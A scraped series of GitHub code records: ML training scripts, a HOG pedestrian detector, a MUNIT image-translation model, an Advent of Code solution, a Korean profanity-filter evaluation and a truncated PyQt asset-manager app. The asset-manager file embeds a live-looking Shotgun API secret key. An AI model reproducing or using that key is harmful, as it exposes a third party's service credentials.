LossHistory(result_path=TRAINING_TIME_PATH)\n\n        logger = CSVLogger(TRAINING_TIME_PATH + 'train_history.csv', separator=\",\", append=True)\n\n        visualizer = VisualizerPerEpoch(val_generator, \n                                    batch_size, \n                                    saved_path=TRAINING_TIME_PATH + 'visualizer/', \n                                    show_frequency=show_frequency)\n        \n        callbacks = [checkpoint, logger, history, visualizer]\n\n        loss = CascadeBCE()\n        \n        f_score = FScore(beta=0.3)\n        # iou_score = IOUScore()\n        \n        optimizer = Adam(learning_rate=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\n        \n        model.compile(optimizer=optimizer, loss=loss, metrics=[f_score])\n        model.fit(train_generator,\n                  steps_per_epoch     = train_generator.n // batch_size,\n                  validation_data     = val_generator,\n                  validation_steps    = val_generator.n // batch_size,\n                  epochs              = end_epoch,\n                  initial_epoch       = init_epoch,\n                  callbacks           = callbacks)\n        model.save_weights(TRAINING_TIME_PATH + 'best_weights', save_format=\"tf\")\n\n    \nif __name__ == \"__main__\":\n    train()\n","repo_name":"ZeroSum0x00/Salient-Object-Detection","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"29086382365","text":"import os\nfrom typing import Dict, List\n\nimport cv2\nimport joblib\nimport skimage.feature\n\n\nSTEP_SIZE = 20\nPATCH_HEIGHT = 200\nPATCH_WIDTH = 80\nTEST_IMG_DIR = 'test-public'\nSVM_MODEL_FILENAME = 'trained_svm_model.joblib'\nPREDICTIONS_FILENAME = 'predictions.idl'\nPEDESTRIAN_LABEL = 1\nBACKGROUND_LABEL = 2\n\nsvm_classifier = joblib.load(f'data/{SVM_MODEL_FILENAME}')\n\npredictions: Dict[int, List[List[int]]] = {}\nfor filename in os.listdir(os.path.join('data', TEST_IMG_DIR)):\n    img_id = int(filename.split('.')[0])\n    test_img = cv2.imread(os.path.join('data', TEST_IMG_DIR, filename))\n    height, width, _channels = test_img.shape\n\n    current_x = 0\n    while current_x + PATCH_WIDTH <= width:\n        x0, y0, x1, y1 = current_x, 0, current_x + PATCH_WIDTH, PATCH_HEIGHT\n        current_patch = test_img[0:PATCH_HEIGHT, current_x:(current_x + PATCH_WIDTH)]\n        current_patch = cv2.cvtColor(current_patch, cv2.COLOR_RGB2GRAY)\n        features, _hog_image = skimage.feature.hog(\n            current_patch,\n            orientations=8,\n            pixels_per_cell=(16, 16),\n            cells_per_block=(4, 4),\n            block_norm='L2',\n            visualize=True\n        )\n        predicted_label = svm_classifier.predict([features])[0]\n        if predicted_label == PEDESTRIAN_LABEL:\n            predictions[img_id] = predictions.get(img_id, []) + [[y0, x0, y1, x1]]\n        current_x += STEP_SIZE\n\nwith open(os.path.join('data', PREDICTIONS_FILENAME), 'w') as f:\n    for img_id in sorted(predictions):\n        for patch_coords in predictions[img_id]:\n            f.write('\\t'.join(str(i) for i in [img_id, *patch_coords]) + '\\n')\n","repo_name":"vkaidalov/nure-jupyter-lab-works","sub_path":"2021_spring_cv_lw1/script_detecting.py","file_name":"script_detecting.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21330499114","text":"import torch\nimport torch.nn as nn\nfrom .base_model import BaseModel\nfrom . import networks\nfrom . import utils\n\n\nclass MUNIT_one_contentE(BaseModel):\n    def name(self):\n        return 'MUNIT_one_contentE'\n\n    def initialize(self, opt):\n        BaseModel.initialize(self, opt)\n\n        self.loss_names = ['gen', 'dis', 'gen_rec_src', 'gen_rec_tgt', 'gen_rec_s_src', 'gen_rec_s_tgt',\n                           'gen_rec_c_src', 'gen_rec_c_tgt', 'gen_adv_src', 'gen_adv_tgt', 'dis_src', 'dis_tgt']\n\n        # set generators\n        self.model_names = ['style_enc_src', 'style_enc_tgt', 'content_enc',\n                            'dec_src', 'dec_tgt', 'mlp_src', 'mlp_tgt']\n        n_down_s = 4\n        n_down_c = 2\n        n_res = 4\n        self.style_enc_src = networks.StyleEncoder(opt.input_nc, opt.ngf, opt.style_dim, n_down_s, 'none', 'relu', 'reflect')\n        self.style_enc_tgt = networks.StyleEncoder(opt.input_nc, opt.ngf, opt.style_dim, n_down_s, 'none', 'relu', 'reflect')\n        self.content_enc = networks.ContentEncoder(opt.input_nc, opt.ngf, n_down_c, n_res, 'instance', 'relu', 'reflect')\n        self.dec_src = networks.Decoder(self.content_enc.output_nc, opt.input_nc, n_down_c, n_res, 'ln', 'relu', 'reflect')\n        self.dec_tgt = networks.Decoder(self.content_enc.output_nc, opt.input_nc, n_down_c, n_res, 'ln', 'relu', 'reflect')\n\n        n_adain_params = self.get_num_adain_params(self.dec_src)\n        print('num_adain_params: {}'.format(n_adain_params))\n        mlp_blocks = 3\n        self.mlp_src = networks.MLP(opt.style_dim, n_adain_params, opt.mlp_dim, mlp_blocks, 'none', 'relu')\n        self.mlp_tgt = networks.MLP(opt.style_dim, n_adain_params, opt.mlp_dim, mlp_blocks, 'none', 'relu')\n\n        if opt.isTrain:\n            # set discriminators\n            self.model_names += ['dis_src', 'dis_tgt']\n            self.dis_src = networks.Discriminator(opt.crop_size, opt.input_nc, opt.ndf, opt.n_scale, n_layer=4,\n                                                  norm='none', activation='lrelu', pad_type='reflect', gan_type='lsgan')\n            self.dis_tgt = networks.Discriminator(opt.crop_size, opt.input_nc, opt.ndf, opt.n_scale, n_layer=4,\n                                                  norm='none', activation='lrelu', pad_type='reflect', gan_type='lsgan')\n\n            # set optimizers\n            gen_params = list(self.style_enc_src.parameters()) + list(self.style_enc_tgt.parameters()) + \\\n                         list(self.content_enc.parameters()) + \\\n                         list(self.dec_src.parameters()) + list(self.dec_tgt.parameters()) + \\\n                         list(self.mlp_src.parameters()) + list(self.mlp_tgt.parameters())\n            dis_params = list(self.dis_src.parameters()) + list(self.dis_tgt.parameters())\n            self.optimizer_G = torch.optim.Adam(gen_params, lr=opt.lr, betas=(opt.beta1, 0.999), weight_decay=opt.weight_decay)\n            self.optimizer_D = torch.optim.Adam(dis_params, lr=opt.lr, betas=(opt.beta1, 0.999), weight_decay=opt.weight_decay)\n            self.optimizers.append(self.optimizer_G)\n            self.optimizers.append(self.optimizer_D)\n\n            # random noise\n            self.s_src_rnd = torch.randn(opt.batch_size, opt.style_dim, 1, 1).cuda()\n            self.s_tgt_rnd = torch.randn(opt.batch_size, opt.style_dim, 1, 1).cuda()\n\n    def assign_adain_params(self, adain_params, model):\n        # assign the adain_params to the AdaIN layers in model\n        for m in model.modules():\n            if m.__class__.__name__ == \"AdaptiveInstanceNorm2d\":\n                mean = adain_params[:, :m.num_features]\n                std = adain_params[:, m.num_features:2*m.num_features]\n                m.bias = mean.contiguous().view(-1)\n                m.weight = std.contiguous().view(-1)\n                if adain_params.size(1) > 2*m.num_features:\n                    adain_params = adain_params[:, 2*m.num_features:]\n\n    def get_num_adain_params(self, model):\n        # return the number of AdaIN parameters needed by the model\n        num_adain_params = 0\n        for m in model.modules():\n            if m.__class__.__name__ == \"AdaptiveInstanceNorm2d\":\n                num_adain_params += 2*m.num_features\n        return num_adain_params\n\n    def criterion_rec(self, input, target):\n        return torch.mean(torch.abs(input - target))\n\n    def set_variables(self, src_data, tgt_data):\n        self.image_src = src_data['image'].cuda()\n        self.image_tgt = tgt_data['image'].cuda()\n\n    def optimize_parameters(self):\n        self.update_D()\n        self.update_G()\n\n    def update_D(self):\n        self.set_requires_grad([self.dis_src, self.dis_tgt], True)\n        self.optimizer_D.zero_grad()\n\n        s_src_rnd = torch.randn(self.image_src.size(0), self.opt.style_dim, 1, 1).cuda()\n        s_tgt_rnd = torch.randn(self.image_tgt.size(0), self.opt.style_dim, 1, 1).cuda()\n\n        # encode\n        c_src = self.content_enc(self.image_src)\n        c_tgt = self.content_enc(self.image_tgt)\n\n        # decode (translation)\n        adain_params_src = self.mlp_src(s_src_rnd)\n        self.assign_adain_params(adain_params_src, self.dec_src)\n        fake_src = self.dec_src(c_tgt)\n\n        adain_params_tgt = self.mlp_tgt(s_tgt_rnd)\n        self.assign_adain_params(adain_params_tgt, self.dec_tgt)\n        fake_tgt = self.dec_tgt(c_src)\n\n        self.loss_dis_src = self.dis_src.calc_dis_loss(fake_src.detach(), self.image_src)\n        self.loss_dis_tgt = self.dis_tgt.calc_dis_loss(fake_tgt.detach(), self.image_tgt)\n        self.loss_dis = self.loss_dis_src + self.loss_dis_tgt\n\n        self.loss_dis.backward()\n        self.optimizer_D.step()\n\n    def update_G(self):\n        self.set_requires_grad([self.dis_src, self.dis_tgt], False)\n        self.optimizer_G.zero_grad()\n\n        s_src_rnd = torch.randn(self.image_src.size(0), self.opt.style_dim, 1, 1).cuda()\n        s_tgt_rnd = torch.randn(self.image_tgt.size(0), self.opt.style_dim, 1, 1).cuda()\n\n        # encode\n        s_src = self.style_enc_src(self.image_src)\n        s_tgt = self.style_enc_tgt(self.image_tgt)\n        c_src = self.content_enc(self.image_src)\n        c_tgt = self.content_enc(self.image_tgt)\n\n        # decode (reconstruction)\n        adain_params_src = self.mlp_src(s_src)\n        self.assign_adain_params(adain_params_src, self.dec_src)\n        rec_image_src = self.dec_src(c_src)\n\n        adain_params_tgt = self.mlp_tgt(s_tgt)\n        self.assign_adain_params(adain_params_tgt, self.dec_tgt)\n        rec_image_tgt = self.dec_tgt(c_tgt)\n\n        # decode (translation)\n        adain_params_src = self.mlp_src(s_src_rnd)\n        self.assign_adain_params(adain_params_src, self.dec_src)\n        fake_src = self.dec_src(c_tgt)\n\n        adain_params_tgt = self.mlp_tgt(s_tgt_rnd)\n        self.assign_adain_params(adain_params_tgt, self.dec_tgt)\n        fake_tgt = self.dec_tgt(c_src)\n\n        # encode again\n        rec_s_src_rnd = self.style_enc_src(fake_src)\n        rec_s_tgt_rnd = self.style_enc_tgt(fake_tgt)\n        rec_c_src = self.content_enc(fake_tgt)\n        rec_c_tgt = self.content_enc(fake_src)\n\n        # compute losses\n        self.loss_gen_rec_src = self.criterion_rec(rec_image_src, self.image_src)\n        self.loss_gen_rec_tgt = self.criterion_rec(rec_image_tgt, self.image_tgt)\n        self.loss_gen_rec_s_src = self.criterion_rec(rec_s_src_rnd, s_src_rnd)\n        self.loss_gen_rec_s_tgt = self.criterion_rec(rec_s_tgt_rnd, s_tgt_rnd)\n        self.loss_gen_rec_c_src = self.criterion_rec(rec_c_src, c_src)\n        self.loss_gen_rec_c_tgt = self.criterion_rec(rec_c_tgt, c_tgt)\n        self.loss_gen_adv_src = self.dis_src.calc_gen_loss(fake_src)\n        self.loss_gen_adv_tgt = self.dis_tgt.calc_gen_loss(fake_tgt)\n        self.loss_gen = self.opt.lambda_rec * (self.loss_gen_rec_src + self.loss_gen_rec_tgt) + \\\n                        self.loss_gen_rec_s_src + self.loss_gen_rec_s_tgt + \\\n                        self.loss_gen_rec_c_src + self.loss_gen_rec_c_tgt + \\\n                        self.loss_gen_adv_src + self.loss_gen_adv_tgt\n\n        self.loss_gen.backward()\n        self.optimizer_G.step()\n\n    def sample(self):\n        self.eval_mode()\n\n        with torch.no_grad():\n            s_src_rnd = torch.randn(self.image_src.size(0), self.opt.style_dim, 1, 1).cuda()\n            s_tgt_rnd = torch.randn(self.image_tgt.size(0), self.opt.style_dim, 1, 1).cuda()\n\n            # encode\n            s_src = self.style_enc_src(self.image_src)\n            s_tgt = self.style_enc_tgt(self.image_tgt)\n            c_src = self.content_enc(self.image_src)\n            c_tgt = self.content_enc(self.image_tgt)\n\n            # decode (reconstruction)\n            adain_params_src = self.mlp_src(s_src)\n            self.assign_adain_params(adain_params_src, self.dec_src)\n            rec_image_src = self.dec_src(c_src)\n\n            adain_params_tgt = self.mlp_tgt(s_tgt)\n            self.assign_adain_params(adain_params_tgt, self.dec_tgt)\n            rec_image_tgt = self.dec_tgt(c_tgt)\n\n            # decode (translation)\n            adain_params_src = self.mlp_src(s_src_rnd)\n            self.assign_adain_params(adain_params_src, self.dec_src)\n            fake_src1 = self.dec_src(c_tgt)\n\n            adain_params_tgt = self.mlp_tgt(s_tgt_rnd)\n            self.assign_adain_params(adain_params_tgt, self.dec_tgt)\n            fake_tgt1 = self.dec_tgt(c_src)\n\n            adain_params_src = self.mlp_src(self.s_src_rnd)\n            self.assign_adain_params(adain_params_src, self.dec_src)\n            fake_src2 = self.dec_src(c_tgt)\n\n            adain_params_tgt = self.mlp_tgt(self.s_tgt_rnd)\n            self.assign_adain_params(adain_params_tgt, self.dec_tgt)\n            fake_tgt2 = self.dec_tgt(c_src)\n\n        self.train_mode()\n\n        # de-normalization\n        img_src = (self.image_src.cpu() + 1.0) / 2.0\n        img_tgt = (self.image_tgt.cpu() + 1.0) / 2.0\n        rec_src = (rec_image_src.cpu() + 1.0) / 2.0\n        rec_tgt = (rec_image_tgt.cpu() + 1.0) / 2.0\n        fake_src1 = (fake_src1.cpu() + 1.0) / 2.0\n        fake_src2 = (fake_src2.cpu() + 1.0) / 2.0\n        fake_tgt1 = (fake_tgt1.cpu() + 1.0) / 2.0\n        fake_tgt2 = (fake_tgt2.cpu() + 1.0) / 2.0\n\n        saved_image = torch.cat((img_src, img_tgt, rec_src, rec_tgt, fake_tgt1, fake_src1, fake_tgt2, fake_src2), dim=0)\n        return saved_image\n","repo_name":"nakashima-kodai/semantic_encoder","sub_path":"model/MUNIT_one_contentE.py","file_name":"MUNIT_one_contentE.py","file_ext":"py","file_size_in_byte":10327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1156787628","text":"def split(n):\n    return [int(d) for d in str(n)]\n\ndef join(n):\n    return int(\"\".join([str(d) for d in n]))\n\ndef increasing(l):\n    n = len(l)\n    for i in range(n-1):\n        if l[i] > l[i+1]: return False\n    return True\n\ndef only2(s):\n    n = len(s)\n    last = s[0]\n    count = 1\n    for i in range(1,n):\n        if s[i] == last:\n            count += 1\n        elif count == 2:\n            return True\n        else:\n            count = 1\n            last = s[i]\n    return count != 2\n\ndef main(low, high):\n    digits = split(low)\n    count = 0\n    for num in range(low, high):\n        s = split(num)\n        if len(set(s)) < 6 and increasing(s) and only2(s):\n            count += 1\n    return count\n\nif __name__ == '__main__':\n    print(main(284639, 748759))","repo_name":"louis-cl/aoc2019","sub_path":"day4/day4b.py","file_name":"day4b.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"42297671838","text":"import warnings\nwarnings.filterwarnings(action='ignore', category=UserWarning, module='gensim')\nimport gensim\nimport pickle\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom konlpy.tag import Twitter\nimport os\nimport re\nimport random\nfrom google.cloud import language\nfrom google.cloud.language import enums\nfrom google.cloud.language import types\n\np = re.compile(\"[\\u0000-\\u001f\\u0020\\u1100-\\u11ff\\u3130-\\u318f\\ua960-\\ua97f\\uac00-\\ud7af\\ud7b0-\\ud7ff]\")\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = './My Project-f557b58c64ab.json'\n\ndef sen_analysis_value(input_text):\n    client = language.LanguageServiceClient()\n    document = types.Document(\n        content=input_text,\n        type=enums.Document.Type.PLAIN_TEXT)\n    sentiment = client.analyze_sentiment(document).document_sentiment\n    #print (\"감정 분석 점수 : \" + str(sentiment.score))\n    return sentiment.score * 0.07\n\ndef string_re(inputstring):\n    m = p.findall(inputstring)\n    return (\"\".join(m))\n\ndef flat(content):\n    token_tmp = Twitter().pos(content)\n    return [\"{}/{}\".format(word, tag) for word, tag in token_tmp if (tag != \"Punctuation\"and tag != \"Foreign\")]\n\nmodel = gensim.models.Word2Vec.load('model')\nbad_word_vec = model.bad_word_vec\nmodel_words_vec = model.wv\ndel model\n\nmodel2 = gensim.models.Word2Vec.load('model2')\nbad_word_vec2 = model2.bad_word_vec\nmodel_words_vec2 = model2.wv\ndel model2\n'''\nparameterSim = [0.5, 0.52, 0.54, 0.56, 0.58, 0.6, 0.62, 0.64, 0.66, 0.68, 0.70]\nparameterSent = [0.01, 0.04, 0.07, 0.1, 0.14, 0.17, 0.2, 0.24, 0.27, 0.3]\n\nscoreList = [[],[],[],[],[],[],[],[],[],[],[]]\n\nfor i in range(len(parameterSim)) :\n    for j in range(len(parameterSent)) :\n        scoreList[i].append([[],[],[],[]])\n\nscorePointBadF = [[],[],[],[],[],[],[],[],[],[],[]]\n\nfor i in range(len(parameterSim)) :\n    for j in range(len(parameterSent)) :\n        scorePointBadF[i].append([0,0,0,0])\n\nscorePointBadN = [[],[],[],[],[],[],[],[],[],[],[]]\n\nfor i in range(len(parameterSim)) :\n    for j in range(len(parameterSent)) :\n        scorePointBadN[i].append([0,0,0,0])\n\nscorePointNormalF = [[],[],[],[],[],[],[],[],[],[],[]]\n\nfor i in range(len(parameterSim)) :\n    for j in range(len(parameterSent)) :\n        scorePointNormalF[i].append([0,0,0,0])\n\nscorePointNormalN = [[],[],[],[],[],[],[],[],[],[],[]]\n\nfor i in range(len(parameterSim)) :\n    for j in range(len(parameterSent)) :\n        scorePointNormalN[i].append([0,0,0,0])\n'''\n#### index가 0이면 normal, 1이면 감정 분석, 2이면 추가학습된 모델, 3이면 감정분석 + 추가학습된 모델\nscoreBadF = [0 for i in range (4)] #욕설인데 필터링함\nscoreBadN = [0 for i in range (4)] #욕설인데 필터링하지 않음\nscoreNormalF = [0 for i in range (4)] #욕설이 아닌데 필터링함\nscoreNormalN = [0 for i in range (4)] #욕설이 아닌데 필터링하지 않음\n\ntestSet = open(\"testset.txt\", \"r\", encoding='UTF8').read().splitlines()\nsenCount = 0\n'''\nfor sentence in testSet :\n    senCount = senCount + 1\n    oriSentence = string_re(sentence)\n    #print (\"문장 : \" + oriSentence)\n    senScore = sen_analysis_value(oriSentence)\n\n    sentenceList = sentence.split(\" \")\n\n    for psiIndex in range(len(parameterSim)) :\n        for pseIndex in range(len(parameterSent)) :\n            for i in range(0, len(sentenceList)) :\n                tokenizied_word = flat(sentenceList[i].split(\":\")[0])\n                scoreList[psiIndex][pseIndex][0].insert(i,\"F\")\n                scoreList[psiIndex][pseIndex][1].insert(i,\"F\")\n                scoreList[psiIndex][pseIndex][2].insert(i,\"F\")\n                scoreList[psiIndex][pseIndex][3].insert(i,\"F\")\n                for token_of_word in tokenizied_word :\n                    try :\n                        #if (model_words_vec2.vocab[token_of_word].count < 1000) : \n                            #print (\" 학습이 부족한 단어 발견 : \" + token_of_word)\n                        if (cosine_similarity([bad_word_vec], [model_words_vec[token_of_word]])[0][0] > parameterSim[psiIndex]) :\n                            #evalList[i] = \"T\"\n                            scoreList[psiIndex][pseIndex][0][i] = \"T\"\n                        if (cosine_similarity([bad_word_vec], [model_words_vec[token_of_word]])[0][0] > (parameterSim[psiIndex] + senScore * parameterSent[pseIndex])) :\n                            #evalListSentiment[i] = \"T\"\n                            scoreList[psiIndex][pseIndex][1][i] = \"T\"\n                        if (cosine_similarity([bad_word_vec2], [model_words_vec2[token_of_word]])[0][0] > parameterSim[psiIndex]) :\n                            #evalListSecondModel[i] = \"T\"\n                            scoreList[psiIndex][pseIndex][2][i] = \"T\"\n                        if (cosine_similarity([bad_word_vec2], [model_words_vec2[token_of_word]])[0][0] > (parameterSim[psiIndex] + senScore * parameterSent[pseIndex])) :\n                            #evalListSecondModelSentiment[i] = \"T\"\n                            scoreList[psiIndex][pseIndex][3][i] = \"T\"\n                    except KeyError: \n                        #print(\"학습 안된 단어 : \" + token_of_word + str(i))\n                        pass\n\n\n\n            for i in range(0, len(sentenceList)) :\n                for number in range (0,4) :\n                    if (sentenceList[i].split(\":\")[1] == \"F\" and scoreList[psiIndex][pseIndex][number][i] == \"F\") :\n                        scorePointNormalN[psiIndex][pseIndex][number] = scorePointNormalN[psiIndex][pseIndex][number] + 1\n                    elif (sentenceList[i].split(\":\")[1] == \"T\" and scoreList[psiIndex][pseIndex][number][i] == \"T\") :\n                        scorePointBadF[psiIndex][pseIndex][number] = scorePointBadF[psiIndex][pseIndex][number] + 1\n                    elif (sentenceList[i].split(\":\")[1] == \"T\" and scoreList[psiIndex][pseIndex][number][i] == \"F\") :\n                        scorePointBadN[psiIndex][pseIndex][number] = scorePointBadN[psiIndex][pseIndex][number] + 1\n                        #print(\"욕설인데 필터링 안함 문장 : \" + str(senCount) + \"단어 : \" + sentenceList[i] + \" 모델 : \" + str(number))\n                    elif (sentenceList[i].split(\":\")[1] == \"F\" and scoreList[psiIndex][pseIndex][number][i] == \"T\") :\n                        scorePointNormalF[psiIndex][pseIndex][number] = scorePointNormalF[psiIndex][pseIndex][number] + 1\n                        #print(\"욕설아닌데 필터링함 문장 : \" + str(senCount) + \"단어 : \" + sentenceList[i] + \" 모델 : \" + str(number))\n\nfor psiIndex in range(len(parameterSim)) :\n    for pseIndex in range(len(parameterSent)) :\n        for number in range(0,4) :\n            print (\"\\n------------------------------------------------------------------------------------------\")\n            print (\"sim : \" + str(parameterSim[psiIndex]))\n            print (\"sen : \" + str(parameterSent[pseIndex]))\n            if (number == 0) : print (\"normal 모델\\n\")\n            if (number == 1) : print (\"normal 모델 + 감정 분석\\n\")\n            if (number == 2) : print (\"추가 학습된 모델\\n\")\n            if (number == 3) : print (\"추가 학습된 모델 + 감정 분석\\n\")\n            #print (\"욕설인데 필터링함 : \" + str(scoreBadF[number]))\n            #print (\"욕설인데 필터링하지 않음 : \" + str(scoreBadN[number]) + \"\\n\")\n            #print (\"욕설이 아닌데 필터링함 : \" + str(scoreNormalF[number]))\n            #print (\"욕설이 아닌데 필터링하지 않음 : \" + str(scoreNormalN[number]) + \"\\n\")\n            print (\"욕설을 필터링할 확률 : \" + str(scorePointBadF[psiIndex][pseIndex][number] / (scorePointBadF[psiIndex][pseIndex][number] + scorePointBadN[psiIndex][pseIndex][number])))\n            print (\"잘못 필터링할 확률 : \" + str(scorePointNormalF[psiIndex][pseIndex][number] / (scorePointNormalF[psiIndex][pseIndex][number] + scorePointNormalN[psiIndex][pseIndex][number])) + \"\\n\")\n'''\n\nfor sentence in testSet :\n    senCount = senCount + 1\n    oriSentence = string_re(sentence)\n    #print (\"문장 : \" + oriSentence)\n    senScore = sen_analysis_value(oriSentence)\n\n    evalList = [[],[],[],[]]\n    sentenceList = sentence.split(\" \")\n\n    for i in range(0, len(sentenceList)) :\n        tokenizied_word = flat(sentenceList[i].split(\":\")[0])\n        evalList[0].insert(i,\"F\")\n        evalList[1].insert(i,\"F\")\n        evalList[2].insert(i,\"F\")\n        evalList[3].insert(i,\"F\")\n        for token_of_word in tokenizied_word :\n            try :\n                if (model_words_vec2.vocab[token_of_word].count < 1000) : \n                    print (\" 학습이 부족한 단어 발견 : \" + token_of_word)\n                if (cosine_similarity([bad_word_vec], [model_words_vec[token_of_word]])[0][0] > 0.6) :\n                    evalList[0][i] = \"T\"\n                if (cosine_similarity([bad_word_vec], [model_words_vec[token_of_word]])[0][0] > (0.6 + senScore)) :\n                    evalList[1][i] = \"T\"\n                if (cosine_similarity([bad_word_vec2], [model_words_vec2[token_of_word]])[0][0] > 0.6) :\n                    evalList[2][i] = \"T\"\n                if (cosine_similarity([bad_word_vec2], [model_words_vec2[token_of_word]])[0][0] > (0.6 + senScore)) :\n                    evalList[3][i] = \"T\"\n            except KeyError: \n                print(\"학습 안된 단어 : \" + token_of_word + str(i))\n\n    for i in range(0, len(sentenceList)) :\n        for number in range (0,4) :\n            if (sentenceList[i].split(\":\")[1] == \"F\" and evalList[number][i] == \"F\") :\n                scoreNormalN[number] = scoreNormalN[number] + 1\n            elif (sentenceList[i].split(\":\")[1] == \"T\" and evalList[number][i] == \"T\") :\n                scoreBadF[number] = scoreBadF[number] + 1\n            elif (sentenceList[i].split(\":\")[1] == \"T\" and evalList[number][i] == \"F\") :\n                scoreBadN[number] = scoreBadN[number] + 1\n                print(\"욕설인데 필터링 안함 문장 : \" + str(senCount) + \"단어 : \" + sentenceList[i] + \" 모델 : \" + str(number))\n            elif (sentenceList[i].split(\":\")[1] == \"F\" and evalList[number][i] == \"T\") :\n                scoreNormalF[number] = scoreNormalF[number] + 1\n                print(\"욕설아닌데 필터링함 문장 : \" + str(senCount) + \"단어 : \" + sentenceList[i] + \" 모델 : \" + str(number))\n\nfor number in range(0,4) :\n    print (\"\\n------------------------------------------------------------------------------------------\")\n    if (number == 0) : print (\"normal 모델\\n\")\n    if (number == 1) : print (\"normal 모델 + 감정 분석\\n\")\n    if (number == 2) : print (\"추가 학습된 모델\\n\")\n    if (number == 3) : print (\"추가 학습된 모델 + 감정 분석\\n\")\n    print (\"욕설인데 필터링함 : \" + str(scoreBadF[number]))\n    print (\"욕설인데 필터링하지 않음 : \" + str(scoreBadN[number]) + \"\\n\")\n    print (\"욕설이 아닌데 필터링함 : \" + str(scoreNormalF[number]))\n    print (\"욕설이 아닌데 필터링하지 않음 : \" + str(scoreNormalN[number]) + \"\\n\")\n    print (\"욕설을 필터링할 확률 : \" + str(scoreBadF[number] / (scoreBadF[number] + scoreBadN[number])))\n    print (\"잘못 필터링할 확률 : \" + str(scoreNormalF[number] / (scoreNormalF[number] + scoreNormalN[number])) + \"\\n\")\n","repo_name":"HongGiwon/word2vec_filter","sub_path":"speechFilter/word_only_test.py","file_name":"word_only_test.py","file_ext":"py","file_size_in_byte":11248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22129515127","text":"#!/usr/bin/env python\n# coding=utf-8\n''' \n\nAuthor: Thibault Houdon\nEmail: houdon.thibault@gmail.com\n\n\n    Files/Folders Structure:\n\n- lib folder contains utilities scripts:\n    QtUiConverter to convert .ui file contained in media folder to main_window.py file in ui folder.\n    make_exe to create an executable files to launch the application (inside the dist folder).\n- media folder which contains all images, the .ui file and the css files.\n- ui folder which contains all python scripts which generates GUIs.\n\nThe setup.py file is used by py2exe to create the executable file (it is run from the make_exe file which is inside the lib folder).\nThe _Asset Manager shortcut is pointing toward the app.exe file inside the lib/dist folder\nThe app.py file is the main python file\n\n\n    Instructions:\n- When working home:\n    - uncomment the line with the database on my computer\n    - change the self.members list by uncommenting the lines\n    - copy the sqlite database to desktop\n\n- Before publishing:\n    - Change the database from working database to the official project database\n\n\n\n'''\n\nimport sys\nimport os\nimport subprocess\n\nimport socket\n\nimport sqlite3\nimport time\nimport shutil\n\nfrom datetime import date\nfrom datetime import datetime\nfrom dateutil import relativedelta\nfrom functools import partial\n\nimport logging\nfrom logging.handlers import RotatingFileHandler\n\nfrom PyQt4 import QtGui, QtCore\n\nfrom ui.main_window import Ui_Form\nfrom lib.reference import ReferenceTab\nfrom lib.module import Lib\nfrom lib.task_manager import TaskManager\nfrom lib.render_tab import RenderTab\nfrom lib.my_tasks import MyTasks\nfrom lib.task import Task\nfrom lib.comments import CommentWidget\nfrom lib.whats_new import WhatsNew\nfrom lib.asset import Asset\nfrom lib.asset_loader import AssetLoader\nfrom lib.reference_moodboard import Moodboard_Creator\nfrom lib.log import LogEntry\nfrom lib.people import PeopleTab\nfrom lib.batch_monitoring import Monitoring\n\nfrom shotgun_api3 import Shotgun\n\nclass Main(QtGui.QWidget, Ui_Form, ReferenceTab, CommentWidget, Lib, TaskManager, MyTasks, WhatsNew, Asset, LogEntry, Task, AssetLoader, Moodboard_Creator, PeopleTab, RenderTab):\n    def __init__(self):\n        super(Main, self).__init__()\n\n        self.username = os.getenv('USERNAME')\n\n        self.setWindowFlags(self.windowFlags() | QtCore.Qt.CustomizeWindowHint)\n\n        self.ReferenceTab = ReferenceTab\n        self.Lib = Lib\n        self.TaskManager = TaskManager\n        self.RenderTab = RenderTab\n        self.MyTasks = MyTasks\n        self.WhatsNew = WhatsNew\n        self.CommentWidget = CommentWidget\n        self.Task = Task\n        self.Asset = Asset\n        self.AssetLoader = AssetLoader\n        self.LogEntry = LogEntry\n        self.Moodboard_Creator = Moodboard_Creator\n        self.PeopleTab = PeopleTab\n\n        sg_url = \"http://nad.shotgunstudio.com\"\n        sg_script_name = \"ThibaultGenericScript\"\n        sg_key = \"e014f12acda4074561022f165e8cd1913af2ba4903324a72edbb21430abbb2dc\"\n        self.sg_project_id = 146\n\n        self.sg = Shotgun(sg_url, sg_script_name, sg_key)\n\n        # Initialize the guis\n        self.Form = self.setupUi(self)\n        self.Form.center_window()\n\n        self.setMinimumSize(1453, 923)\n        self.setMaximumSize(1453, 923)\n\n        self.db_to_load = \"\"\n        self.db_path = \"Z:\\\\Groupes-cours\\\\NAND999-A15-N01\\\\Nature\\\\_pipeline\\\\_utilities\\\\_database\\\\nature.sqlite\"  # Database nature\n\n\n        if QtGui.QApplication.keyboardModifiers() == QtCore.Qt.ShiftModifier:\n            # Database Setup\n            self.db_path = \"H:\\\\01-NAD\\\\_pipeline\\\\_utilities\\\\_database\\\\db.sqlite\"  # Copie de travail\n\n        # Backup database\n        if self.db_path not in [\"H:\\\\01-NAD\\\\_pipeline\\\\_utilities\\\\_database\\\\db.sqlite\", \"Z:\\\\Groupes-cours\\\\NAND999-A15-N01\\\\Nature\\\\_pipeline\\\\_utilities\\\\_database\\\\rendering.sqlite\"]:\n            self.backup_database()\n\n        self.db = sqlite3.connect(self.db_path, check_same_thread=False, timeout=30.0)\n        self.cursor = self.db.cursor()\n\n        # Global Variables\n        self.projectList.hide()\n        self.i = 0\n        self.computer_id = socket.gethostname()\n        self.ref_assets_instances = []\n        self.selected_asset = None\n        self.utf8_codec = QtCore.QTextCodec.codecForName(\"utf-8\")\n        self.today = time.strftime(\"%d/%m/%Y\", time.gmtime())\n        self.cur_path = os.path.dirname(os.path.realpath(__file__))  # H:\\01-NAD\\_pipeline\\_utilities\\_asset_manager\n        self.cur_path_one_folder_up = 